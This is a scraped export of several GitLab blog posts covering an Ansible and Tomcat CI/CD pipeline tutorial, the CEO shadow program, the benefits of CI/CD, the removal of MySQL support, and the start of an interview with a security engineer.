docker:24.0.5\n  needs: []\n  services:\n    - docker:24.0.5-dind\n  before_script:\n    - apk add --no-cache python3 py3-pip\n    - pip install ansible-builder\n    - cd ansible/execution-environment\n  script:\n    - ansible-builder build -t ${EE_IMAGE_NAME}:${EE_IMAGE_TAG} --container-runtime docker\n    - docker tag ${EE_IMAGE_NAME}:${EE_IMAGE_TAG} ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n```\n\n### Deploying Tomcat with Ansible\n\nOnce the infrastructure is provisioned and the execution environment is built, the pipeline deploys Tomcat using [Ansible Navigator](https://ansible.readthedocs.io/projects/navigator/). The execution environment built in previous stage is used as image for deployment job in GitLab pipeline.\n\n```\n# From gitlab-ci.yml\n🚀 ansible-deploy:\n  stage: 🚀 ansible-deploy\n  image: ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n  needs:\n    - ✅ tofu-apply\n  extends: [.ssh_private_key_setup, .default_rules]\n  script:\n    - ansible-navigator run ansible/playbook.yml\n      -i ansible/inventory/hosts.ini\n      --execution-environment false\n      --mode stdout\n      --log-level debug\n```\n\nThe Tomcat deployment fetches the application package from [GitLab's Generic Package Repository](https://docs.gitlab.com/user/packages/generic_packages/), configures system users and permissions, and sets up Tomcat as a systemd service.\n\n```\n# From playbook.yml\n---\n- name: Deploy Tomcat Server\n  hosts: all\n  become: true\n  roles:\n      - role: tomcat\n\n  vars:\n    # Tomcat package and installation\n    tomcat_package: \"https://gitlab.com/api/v4/projects/67604719/packages/generic/apache-tomcat/10.1.39/apache-tomcat-10.1.39.tar.gz\"\n    tomcat_install_dir: \"/opt/tomcat\"\n    java_package: \"java-17-openjdk-devel\"\n```\n\n![GitLab Package Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433381/mynak8i2k7ms9vhdijqg.png)\n\n### Security scanning and code quality\n\nSecurity is integrated throughout the pipeline with multiple scanning tools. The project uses [GitLab's built-in SAST IaC scanner](https://docs.gitlab.com/user/application_security/iac_scanning/) to detect vulnerabilities in both Terraform and Ansible code. [Container scanning](https://docs.gitlab.com/user/application_security/container_scanning/) is applied to the execution environment image to identify any security issues and generate a [software bill of materials (SBOM)](https://docs.gitlab.com/user/application_security/container_scanning/#cyclonedx-software-bill-of-materials).\n\n```\n# From gitlab-ci.yml\ninclude:\n- template: Jobs/SAST-IaC.gitlab-ci.yml\n- template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\n![Security is integrated throughout the pipeline with multiple scanning tools](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433386/e6ejckcv5kdyhhosej2f.png)\n\n\n\n![Dependency listing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/gsfpaldra4rmtkseaudo.png)\n\nAdditionally, the project integrates Ansible Linter with [GitLab's Code Quality](https://docs.gitlab.com/ci/testing/code_quality/#import-code-quality-results-from-a-cicd-job). This integration produces reports that are displayed directly in the GitLab interface, making it easy to identify and address issues.\n\n```\n# From gitlab-ci.yml\n🔍 ansible-lint:\n  stage: 🚀 ansible-deploy\n  image: ${CI_REGISTRY_IMAGE}/${EE_IMAGE_NAME}:${EE_IMAGE_TAG}\n  needs: []\n  script:\n    - ansible-lint ansible/playbook.yml -f codeclimate | python3 -m json.tool | tee gl-code-quality-report.json || true\n  artifacts:\n    reports:\n      codequality:\n        - gl-code-quality-report.json\n```\n\n![The project integrates Ansible Linter with GitLab code quality](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/gsfpaldra4rmtkseaudo.png)\n\n### Health-checking the deployment\n\nAfter deployment, the pipeline performs health checks to ensure that the Tomcat server is running correctly. The health-check job attempts to connect to the server's HTTP port and verifies that it returns a successful response. This ensures that the deployment has completed successfully, and the application is accessible.\n\nYou can test access from your browser into the Tomcat-provisioned instance using the public IP address of the EC2 provisioned instance.\n\n![Checking the health of a job](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433385/uksdkjryydxhu94v1naj.png)\n\n## Destroying the lab environment\n\nThe final stage of the pipeline is the cleanup process, which destroys the lab environment. This is implemented using the OpenTofu destroy component, which ensures that all resources created during the provisioning stage are properly removed.\n\n## Summary\n\nGitLab provides a unified DevSecOps platform and a framework to manage enterprise-scale, mission-critical infrastructure as code and configuration management automation practices. The framework includes version control, project planning and issue management, team collaboration, CI/CD pipelines, binary package and container registry, security scanning, and many other helpful features along with the ability to embed governance and controls in the processes. If you are looking to expand your private or public cloud practices or in general any governed, self-service automation workflow, consider GitLab, TerraForm, and Ansible as the three-legged stool and the foundation for a scalable and governed automation platform.\n\n> Get started with a [free, 60-day trial of GitLab Ultimate](http://bout.gitlab.com/free-trial/). Sign up today!",[3165,28793],"Salahddine Aberkan","2025-04-24","2019-07-01",[4144,110],{"slug":28798,"featured":6,"template":678},"using-ansible-and-gitlab-as-infrastructure-for-code","content:en-us:blog:using-ansible-and-gitlab-as-infrastructure-for-code.yml","Using Ansible And Gitlab As Infrastructure For Code","en-us/blog/using-ansible-and-gitlab-as-infrastructure-for-code.yml","en-us/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"_path":28804,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28805,"content":28811,"config":28816,"_id":28818,"_type":16,"title":28819,"_source":17,"_file":28820,"_stem":28821,"_extension":20},"/en-us/blog/five-things-you-hear-from-gitlab-ceo",{"title":28806,"description":28807,"ogTitle":28806,"ogDescription":28807,"noIndex":6,"ogImage":28808,"ogUrl":28809,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28809,"schema":28810},"5 Things you might hear when meeting with GitLab's CEO","After two weeks shadowing our CEO, I can share the hottest topics on his mind right now.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670738/Blog/Hero%20Images/coghlanshadow.jpg","https://about.gitlab.com/blog/five-things-you-hear-from-gitlab-ceo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Things you might hear when meeting with GitLab's CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2019-06-28\",\n      }",{"title":28806,"description":28807,"authors":28812,"heroImage":28808,"date":28813,"body":28814,"category":6634,"tags":28815},[6631],"2019-06-28","\n\nDuring my two-week rotation in GitLab’s [CEO shadow program](/handbook/ceo/shadow/) I noticed something: Being a CEO involves a lot of repetition. Whether meeting with his executive team, board members, public or private market investors, candidates for [open roles](/jobs/), or journalists, our CEO [Sid Sijbrandij](/company/team/#sytses) had to repeat himself – a lot.\n\nThis shouldn’t be a surprise. I’ve read [articles](https://www.mckinsey.com/business-functions/organization/our-insights/the-ceos-role-in-leading-transformation) about the [importance of repetition](https://getlighthouse.com/blog/power-of-repetition-successful-leaders/) for leaders. My job can be pretty repetitive, too. I'm constantly planning meetups and explaining my role and the programs I manage to people throughout the wider GitLab community. And yet, given Sid’s position in GitLab and his desire to pursue “interestingness” (a Sid-ism I heard often), I was still surprised the 10th time I heard him tell the story of [how GitLab was founded](https://www.youtube.com/watch?v=CZ07wk3t31g&feature=youtu.be&t=135).\n\nI want to highlight a few of the other common themes, topics, and questions that came up repeatedly throughout my time in the CEO shadow program – to both share some insight with our community and inform folks who will be meeting with Sid about what to expect.\n\n## 1. \"We don't have any offices\"\n\nGitLab’s all-remote culture is a popular topic right now. It came up frequently in conversations with potential investors, candidates for executive positions, and journalists. People were curious to learn how we make it work at our scale and how we replicate the serendipitous moments that occur among co-located teams. Sid typically relies on explanations of our [handbook](/handbook/), [breakout calls](/handbook/communication/#breakout-call), [coffee chats](/company/culture/all-remote/tips/#coffee-chats), and [Contribute](https://www.youtube.com/watch?v=xdtPNXtkBhE) to help folks better understand how we are able to be successful as an all-remote company.\n\nIt's exciting to hear the conversation on all-remote work evolve as people learn more about it. One of the main reasons I joined GitLab was the ability to be part of an [all-remote](/company/culture/all-remote/) company. I believe we can change how the world views all-remote teams as we continue to be successful. With more than 2,000 [contributors](/community/contribute/), more than 600 people on our [team](/company/team/), and many more wanting to join, we are off to a good start.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-cards=\"hidden\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Over the last 3 months we had over 20,000 applications for the vacancies at \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://t.co/JbmWvk3uDB\">https://t.co/JbmWvk3uDB\u003C/a> It encourages us to push for even more transparency \u003Ca href=\"https://t.co/WQcUPXzcWj\">https://t.co/WQcUPXzcWj\u003C/a> since many people cite that as a reason to apply.\u003C/p>&mdash; Sid Sijbrandij (@sytses) \u003Ca href=\"https://twitter.com/sytses/status/1134122539670691841?ref_src=twsrc%5Etfw\">May 30, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nOur success has [already inspired other companies to follow the all-remote blueprint](/handbook/inspired-by-gitlab/). The movement towards all-remote organizations will continue as we grow, generating more awareness and opening up opportunities that were never previously available to people around the world.\n\nHere's a recording of a meeting I attended between our CEO Sid and GitLab board member Sue Bostrom that touched on our all-remote story:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ePZpfeTG63M\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## 2. \"One of our values is...\"\n\nIn nearly every meeting I attended over the two-week rotation, [GitLab’s values](https://handbook.gitlab.com/handbook/values/) were mentioned. Transparency is the most common value highlighted when our CEO meets with members of the wider GitLab community (see above tweet), many of whom are surprised to see Sid using Google to search for our handbook, roadmap, or OKRs – which is possible because they’re published publicly on our website. With his executive team and other leaders in the company, Sid is frequently focused on [results](https://handbook.gitlab.com/handbook/values/#results) – from structuring his meetings with a bias to action (more on this later) to pushing for GitLab to always be more data-driven and analytical in how we execute on everything from [our releases to our vision](/handbook/product/product-processes/#planning-horizons). When something is moving slower than expected, Sid will encourage people to break down the work and make small changes that are easier to ship in alignment with our [iteration value](https://handbook.gitlab.com/handbook/values/#iteration).\n\nOur other values came up in conversations about how we recruit for our fast-growing team and the recruitment of a new chief people officer ([diversity](https://handbook.gitlab.com/handbook/values/#diversity-inclusion)), how well our people are performing as managers of one ([efficiency](https://handbook.gitlab.com/handbook/values/#efficiency)), and the importance of dogfooding our own product ([collaboration](https://handbook.gitlab.com/handbook/values/#collaboration)).\n\n## 3. \"Is this already in the handbook?\"\n\nAs I alluded to earlier, at GitLab we value results and that starts with the CEO. Internal meetings with Sid require an agenda. Those agendas typically follow a [specific format](/handbook/leadership/1-1/suggested-agenda-format/), and they are usually filled with merge requests and other actionable items. Meetings with our CEO are not for status updates. They tend towards discussions that lead to action or for taking action (such as reviewing and merging an MR that is linked to in a meeting agenda). When a discussion takes place without a related MR link in the agenda, Sid inevitably asks, \"Is this already in the handbook?\" or something to that effect. This ensures any follow-up actions are assigned to someone so that actionable, visible changes are not delayed.\n\nEven participation in the shadow program is viewed through the lens of results. As a shadow, one of the [tasks](/handbook/ceo/shadow/#tasks) you’re expected to complete is updating GitLab’s handbook, particularly the shadow page. During my rotation, Sid commented multiple times on the number of MRs that I created to update our handbook. Results have the CEO’s attention.\n\n## 4. \"Google Docs are the new whiteboard\"\n\nGoogle Docs are the default tool for GitLab agendas and meeting notes. While they are a necessity in the remote work environment, once you begin using them, you quickly notice the efficiency they bring to meetings. The delight that Sid draws from the efficiency of using Google Docs for notes is clear whenever he happily explains how they are superior to whiteboards, which happens frequently in meetings with people new to GitLab's way of working.\n\nAt GitLab, we find Google Docs to be so efficient and helpful, that we’ve even included [why to use them in our handbook](/company/culture/all-remote/tips/index.html#docs-beat-whiteboards). This handbook addition was contributed by my fellow CEO shadow, [Cindy Blake](/company/team/#cblake2000). In her words:\n\n> \"Often we are asked, 'But how do you whiteboard without everyone physically together?' We use Google Docs for collaboration. Every meeting has a Google Doc for the agenda and for documenting discussion, decisions, and actions. Everyone in the meeting adds notes at the same time. We literally even finish one another's sentences sometimes. By brainstorming in text, instead of drawings, we are forced to clearly articulate proposals, designs, or ideas, with less variance in interpretations. A picture may be worth a thousand words, but it is open to as many interpretations are there are people viewing it. In Google Docs, we use indentations to drill deeper into a given topic. This method retains context for comments, discussions, and ideas.\"\n\n## 5. \"Can you put your headphones on?\"\n\nThe emphasis on clear communication is a priority for Sid and leaks into many of his conversations. This ranges from his awareness and respect when communicating with folks for whom English is not their first language to how we name and structure the parts of our organization and to whether or not a meeting attendee is using headphones on a Zoom chat (note: you should). All of this – even the preference for headphones – makes sense.\n\nAt a macro level, as an all-remote, open core company with a global community and [team members in 54 countries](/company/team/), GitLab’s community consists of people with varying levels of English fluency. In order to promote a diverse and inclusive culture, it’s important to choose clear language when writing and speaking – from how we name teams and features to the idioms and slang we choose not to use. At a micro level, if you’re meeting with someone who has a poor video or audio connection the issue must be resolved so that everyone can understand each other and get through the agenda.\n\n## Takeaways\n\nWhether you're reading this because you have a meeting with Sid, you're joining the CEO shadow program, or you simply want to add some best practices from a CEO to incorporate in your routine, there are a few key takeaways to distill from these common topics and questions.\n\n* All-remote is gaining momentum\n* Values matter\n* Have a bias towards action\n* Find tools that work for you\n* Clear communication is key\n\nOne other thing you'll hear often when you're with Sid is \"Thank you.\" Despite being a CEO, Sid is generous with his time and praise and never fails to say thank you to folks he spends time with. As a parent of two young children myself, I think that might be the most important takeaway of all.\n",[3798,2368,676],{"slug":28817,"featured":6,"template":678},"five-things-you-hear-from-gitlab-ceo","content:en-us:blog:five-things-you-hear-from-gitlab-ceo.yml","Five Things You Hear From Gitlab Ceo","en-us/blog/five-things-you-hear-from-gitlab-ceo.yml","en-us/blog/five-things-you-hear-from-gitlab-ceo",{"_path":28823,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28824,"content":28830,"config":28835,"_id":28837,"_type":16,"title":28838,"_source":17,"_file":28839,"_stem":28840,"_extension":20},"/en-us/blog/positive-outcomes-ci-cd",{"title":28825,"description":28826,"ogTitle":28825,"ogDescription":28826,"noIndex":6,"ogImage":28827,"ogUrl":28828,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28828,"schema":28829},"4 Benefits of CI/CD","Learn how to implement and measure a successful CI/CD pipeline strategy and help your DevOps team deliver higher quality software, faster!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670016/Blog/Hero%20Images/modernize-cicd.jpg","https://about.gitlab.com/blog/positive-outcomes-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Benefits of CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-06-27\",\n      }",{"title":28825,"description":28826,"authors":28831,"heroImage":28827,"date":28832,"body":28833,"category":8943,"tags":28834},[18462],"2019-06-27","\n[CI/CD](/topics/ci-cd/) helps DevOps teams ship higher quality software, faster, for improved software deployment. But is all [CI/CD](/topics/ci-cd/) created equal? What do the benefits of continuous integration, continuous delivery, and continuous deployment look like and how do you know you're on the right track?\n\nIn this four-part series, we talk about modernizing your CI/CD: Challenges, impact, outcomes, and solutions. In [part one](/blog/modernize-your-ci-cd/), we focused on common CI/CD challenges. In [part two](/blog/business-impact-ci-cd/), we talked about the revenue impacts. Today, we’ll talk about what CI/CD can deliver and how to measure its success.\n\nIf these problems hit a little too close to home, stay tuned for part four where we dive deeper into finding the right CI/CD solution for you.\n\n## What are some of the benefits of a good CI/CD strategy?\n\n### 1. Increased speed of innovation and ability to compete in the marketplace\n\nTwo identical companies: One implements [CI/CD technology](/topics/ci-cd/) and the other doesn’t. Who do you think deploys applications faster? While this seems like a silly comparison, because _of course_ the company with more automation deploys faster, there are organizations out there still convinced they don’t need CI/CD because they’re not looking at their competition. Organizations that understand the importance of CI/CD are setting the pace of innovation for everyone else.\n\n### 2. Code in production is making money instead of sitting in a queue waiting to be deployed\n\nOrganizations that have implemented CI/CD are making revenue, satisfying customers, and getting user feedback on the product features they deploy, not waiting for a manual check to see if the code is up to par. They already know the code is good because they have tests that are automated, and continuous delivery means that code is deployed automatically if it meets certain standards. They’ve removed human error and delays from the process so they can ship more code to production.\n\n### 3. Great ability to attract and retain talent\n\nEngineers that can focus on what they’re best at will be happier and more productive, and that has far-reaching impact. Turnover can be expensive and disruptive. A good CI/CD strategy means engineers can work on important projects and not worry about time-consuming manual tasks. They can also work confidently knowing that errors are caught automatically, not right before deployment. This kind of cooperative engineering culture inevitably attracts talent.\n\n### 4. Higher quality code and operations due to specialization\n\nThe development team can focus on dev. The operations team can focus on ops. Bad code rarely makes it to production because continuous testing is automated. Developers can focus on the code rather than the production environment, and operations doesn’t have to feel like a gatekeeper or a barrier. Both teams can work to their strengths, and automated handoffs make for seamless processes for the entire team. [This kind of cooperation makes DevOps possible](/topics/devops/build-a-devops-team/) and improves code quality.\n\n## What capabilities are required to make this happen?\n\n### 1. Robust CI/CD\n\nWhen we use the term “robust,” it’s all about avoiding half-baked or partial solutions. There are several CI/CD solutions out there but there are varying degrees of effectiveness. Continuous integration and continuous delivery go hand in hand, so having a solution that offers both is ideal. The tool you use should offer the automation you need, not just some. If your CI/CD tool is prone to failure or “brittle,” it can be just one more thing to manage. This was precisely why [the team at Ticketmaster replaced Jenkins CI and moved to weekly releases](/blog/continuous-integration-ticketmaster/), decreasing their pipeline execution time from two hours to only _eight minutes_ to build, test, and publish artifacts.\n\n### 2. Containers and Kubernetes\n\nContainers have made a huge impact on the way companies build and deploy code. While it was once difficult to develop applications with a [microservices architecture](/blog/strategies-microservices-architecture/), over the past five years it has become considerably easier with container orchestration tools like Kubernetes, comprehensive CI/CD tools that automate testing and deployments, and APIs that update automatically. Breaking up services so they can run independently reduces dependencies and creates better workflows.\n\n### 3. Functionality for the entire DevOps lifecycle\n\nVisibility is a huge asset when improving DevOps workflows. For some teams, they can have several tools handling different facets of the software development lifecycle (SDLC), which creates integration issues, maintenance issues, visibility issues, and is [just plain expensive](/calculator/roi/) from a cost standpoint. A complex toolchain can also weaken security. In a [Forrester survey of IT professionals](/resources/downloads/201906-gitlab-forrester-toolchain.pdf), 45% said that they had difficulty ensuring security across the toolchain.\n\n## How would you measure the success of a CI/CD strategy?\n\n### 1. Cycle time\n\nCycle time is the speed at which a [DevOps team](/topics/devops/) can deliver a functional application, from the moment work begins to when it is providing value to an end user.\n\n### 2. Time to value\n\nOnce code is written, how long before it’s released? This delay from when code is written to running in production is the time to value, and is a bottleneck for many organizations. Continuous delivery as well as [examining trends in the QA process](/blog/trends-in-test-automation/) can help to overcome this barrier to quick deployments and frequent releases.\n\n### 3. Uptime, error rate, infrastructure costs\n\nUptime is one of the biggest priorities for the ops team, and with a good CI/CD strategy that automates different processes, they should be able to focus more on that goal. Likewise, error rates and infrastructure costs can be easily measured once CI/CD is put in place. Operations goals are a key indicator of process success.\n\n### 4. Team retention rate\n\nHappy developers stick around, so looking at retention rates is a reliable way to gauge how well new development processes and applications are working for the team. It might be tough for developers to speak up if they don’t like how things are going, but looking at retention rates can be one step in identifying potential problems.\n\nThe benefits of a good CI/CD strategy are felt throughout an organization: From HR to operations, teams work better and achieve goals. In such a competitive development landscape, having the right CI/CD in place gives any company an edge.\n\nSo what makes “good” CI/CD? We invite you to compare GitLab CI/CD to other CI tools and see why we were rated #1 in the Forrester CI Wave™.\n",[4103,110,1444],{"slug":28836,"featured":6,"template":678},"positive-outcomes-ci-cd","content:en-us:blog:positive-outcomes-ci-cd.yml","Positive Outcomes Ci Cd","en-us/blog/positive-outcomes-ci-cd.yml","en-us/blog/positive-outcomes-ci-cd",{"_path":28842,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28843,"content":28848,"config":28852,"_id":28854,"_type":16,"title":28855,"_source":17,"_file":28856,"_stem":28857,"_extension":20},"/en-us/blog/removing-mysql-support",{"title":28844,"description":28845,"ogTitle":28844,"ogDescription":28845,"noIndex":6,"ogImage":12013,"ogUrl":28846,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28846,"schema":28847},"Why we're ending support for MySQL in 12.1","GitLab will be ending support for MySQL starting with our 12.1 release – here's why.","https://about.gitlab.com/blog/removing-mysql-support","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we're ending support for MySQL in 12.1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kenny Johnston\"}],\n        \"datePublished\": \"2019-06-27\",\n      }",{"title":28844,"description":28845,"authors":28849,"heroImage":12013,"date":28832,"body":28850,"category":299,"tags":28851},[20005],"\nIn July of 2017 [GitLab documented that we would be deprecating support for MySQL](https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests/1756).\nWell, the 12.1 release marks the conclusion of our\ndeprecation period and it will [no longer support MySQL](https://gitlab.com/gitlab-org/gitlab-ce/issues/52442).\nIt wasn't an easy decision, but we wanted to share with you why we did it.\n\n## It wasn't great for our use case\n\nThere are lots of great use cases for MySQL, our specific needs just didn't seem to be a good fit. [Our use of MySQL\nhad a number of limitations](https://gitlab.com/gitlab-org/gitlab-ce/issues/51173#issues). In most cases, it wasn't\nas simple as adding support to MySQL, but that by bending MySQL we typically broke PostgreSQL. To name a few limitations:\n\n* We can't [support nested groups with MySQL in a performant way](https://gitlab.com/gitlab-org/gitlab-ce/issues/30472#note_27747600)\n* We have to use hacks to increase limits on columns and this can lead to [MySQL refusing to store data](https://gitlab.com/gitlab-org/gitlab-ce/issues/49583)\n* MySQL [can't add](https://gitlab.com/gitlab-org/gitlab-ce/issues/40168) `TEXT` type column without `length` specified\n* MySQL doesn't [support partial indexes](https://dba.stackexchange.com/questions/106589/to-have-postgresql-like-partial-index-in-mysql-5-5)\n* These limitations have already created a number of places where MySQL was already not supported (including with [Geo](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/11914/diffs))\n\n## It made us slower\n\nIn order to work around some of the pain points above, we ended of creating a lot of [MySQL](https://gitlab.com/gitlab-org/gitlab-ee/blob/7ef7c604729c2627914bcc0ece3355786a9a3413/ee/db/migrate/20180831134049_allow_many_prometheus_alerts.rb#L30)-[specific](https://gitlab.com/gitlab-org/gitlab-ee/blob/7ef7c604729c2627914bcc0ece3355786a9a3413/db/migrate/prometheus_metrics_limits_to_mysql.rb)\ncode. In some cases this led to [merge requests that were twice as complex](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/16793)\nbecause they had to support a second database backend. Creating and maintaining this code is a drain on our cycle time and velocity, and it puts a\ndampener on our value of iteration.\n\nIt also made us slower because our CI system would run our test suites twice, once on each backend. Removing support\nfor MySQL reduces the time for our CI jobs, and reduces the costs. [These costs ended up being considerable](/company/team/structure/working-groups/gitlab-com-cost/),\nand it was difficult to justify the expense with the small number of users choosing MySQL.\n\n## We couldn't take advantage of either backend\n\nBy providing support for both database backends (PostgreSQL and MySQL) we were unable to truly take advantage\nof either. Where we wanted to utilize specific performance and realiability capabilities unique to a backend,\nwe had to instead choose the lowest common denominator. As an example (there are [more](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/24987#note_186506464)), we wanted to use PostgreSQL's `LATERAL JOIN` for optimizing dashboards events, but [couldn't because it was not available in MySQL](https://gitlab.com/gitlab-org/gitlab-ce/issues/31806#note_32117488).\n\n## Most of our customers are on PostgreSQL\n\nUsing [Usage Ping](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#usage-ping) data we got a clear sense that the vast majority of our customers had already moved to PostgreSQL.\nWe've seen a steady migration to PostgreSQL and recently had less than 1200 GitLab instances reporting their usage of\nMySQL. At the time there were 110,000 instances using PostgreSQL. Of those still using MySQL the majority were using 11.0 or earlier.\n\nThis gave us a lot of confidence that GitLab users still on MySQL could migrate to the bundled PostgreSQL backend\nif they choose to upgrade to 12.1 and beyond, or remain on MySQL in older versions of GitLab.\n\nAs a side note – we don't use MySQL ourselves, and not doing so meant we weren't encountering issues BEFORE our users.\n\n## Need help migrating?\n\nIf you are one of those users, please check out our [migration docs](https://docs.gitlab.com/ee/update/index.html) for a guide on upgrading from MySQL to PostgreSQL.\n",[774],{"slug":28853,"featured":6,"template":678},"removing-mysql-support","content:en-us:blog:removing-mysql-support.yml","Removing Mysql Support","en-us/blog/removing-mysql-support.yml","en-us/blog/removing-mysql-support",{"_path":28859,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28860,"content":28866,"config":28871,"_id":28873,"_type":16,"title":28874,"_source":17,"_file":28875,"_stem":28876,"_extension":20},"/en-us/blog/ask-gitlab-security-alexander-dietrich",{"title":28861,"description":28862,"ogTitle":28861,"ogDescription":28862,"noIndex":6,"ogImage":28863,"ogUrl":28864,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28864,"schema":28865},"Ask GitLab Security: Alexander Dietrich","What are the challenges and rewards of working security for a growing, cloud native company? We grill one of our senior security engineers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679726/Blog/Hero%20Images/ask-security-cover.png","https://about.gitlab.com/blog/ask-gitlab-security-alexander-dietrich","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Alexander Dietrich\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-06-26\",\n      }",{"title":28861,"description":28862,"authors":28867,"heroImage":28863,"date":28868,"body":28869,"category":674,"tags":28870},[12307],"2019-06-26","\nWhat’s it like working to secure one of the most transparent organizations in the world? To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in [this series](/blog/tags.html#ask-GitLab-security), but that you enjoy yourself too.\n{: .note}\n\n\n![Alexander Dietrich Headshot](https://about.gitlab.com/images/blogimages/dietrich.png){: .small.right.wrap-text} **Name:** Alexander Dietrich\n\n**Title:** Senior security engineer, [Automation](/handbook/security/#security-automation)\n\n**How long have you been at GitLab?** I started in September 2018\n\n**GitLab handle:** [@adietrich](https://gitlab.com/adietrich)\n{: #tanuki-orange}\n\n**Connect with Alexander:** [LinkedIn](https://www.linkedin.com/in/alexanderdietrich/)\n\n\n#### Tell us what you do here at GitLab:\nI create tools for the security department to automate tasks that were previously done mostly manually (or not at all), so we can perform our work more quickly, consistently, and (I hope) delightfully. Security teams are rarely large teams, and security automation focuses on scaling the team.\n\n#### What’s the most challenging or rewarding aspect of your role?\nNothing I have worked on so far has been cookie-cutter; there’s a continuous flow of new technologies to learn and use cases to cover, which I find challenging and rewarding at the same time. GitLab is a cloud native company, so having the full range of services at our disposal to solve a problem can be tempting (and potentially overwhelming), at which point it’s good to remember our [value of efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) and go for the “[boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions).” Your team members will be much happier too, when your PagerDuty, Slack, and GitLab integration is only a few lines of Python running [serverless](/topics/serverless/) and just works.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Making sure we meet our remediation goals for security issues, i.e. through automated escalation (if necessary). Some examples:\n     * [Build escalation engine for issues escalation](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/383)\n     * [Workflow for escalation engine](https://gitlab.com/gitlab-com/gl-security/security-department-meta/issues/446)\n- Reducing friction for our application security engineers: An example would be the automated import of HackerOne reports directly into GitLab issues or improving our engagement with HackerOne reporters through automated updates and responses.\n- Laying the groundwork for GitLab’s [Zero Trust initiative](/handbook/security/#zero-trust); currently, I’m focusing on building onto our [SSO solution](/handbook/business-technology/okta/).\n\n#### How did you get into security?\nI have been following IT security topics for many years from a defender perspective, due to running things on the internet and an interest in privacy-enhancing technologies. Professionally, I switched to security from a regular software development position, when my previous employer needed a dedicated security team for their development organisation. Suddenly I was responsible not only for secure software development practices, but also awareness of potential threats to our services stack and operational security of our cloud environments. It was very exciting, and I learned a lot, especially about the value of automation.\n\n#### In the past decade, how has your area of expertise changed?\nSignificantly, I started out writing software that was sold in boxes in stores (remember those?) and saw the entire business shift to “cloud native,” with me changing focus from writing software to making sure that software is written and operated securely. Being able to apply my general security-mindedness at work was a great opportunity, and it’s kind of funny to see the trend for security to “shift left,” towards where I’m originally coming from. Nice meeting y’all!\n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security?\nWhen you consider where GitLab is in its evolution, the size and diversity of the security department demonstrates very clearly that security is not an afterthought here. I love being able to focus on my area of expertise and collaborating with teams that are equally well-staffed and dedicated. Initiatives like Zero Trust and the in-house Red Team also show a proactive attitude towards security, rather than just patching the latest vulnerabilities.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend?\nUse a password manager and generate unique passwords for everything. That way one website losing your data will not put all your other accounts at risk. Keep your systems updated, so you don’t get bitten by security holes that are years old. Ok, that was two pieces of advice.\n\n#### What do you look forward to the most in security in the next five years?\nI’m anxious to see the industry overcome the dichotomy of security and usability, and secure-by-default becoming the new normal. This might take longer than five years, though.\n\n#### Is there an area of security research you think deserves more attention?\nThe design of decentralized systems that are secure and usable should receive more attention. When we read about the latest mind-boggling data breach, we often overlook the fact that bad operational security may be one cause, but another is the 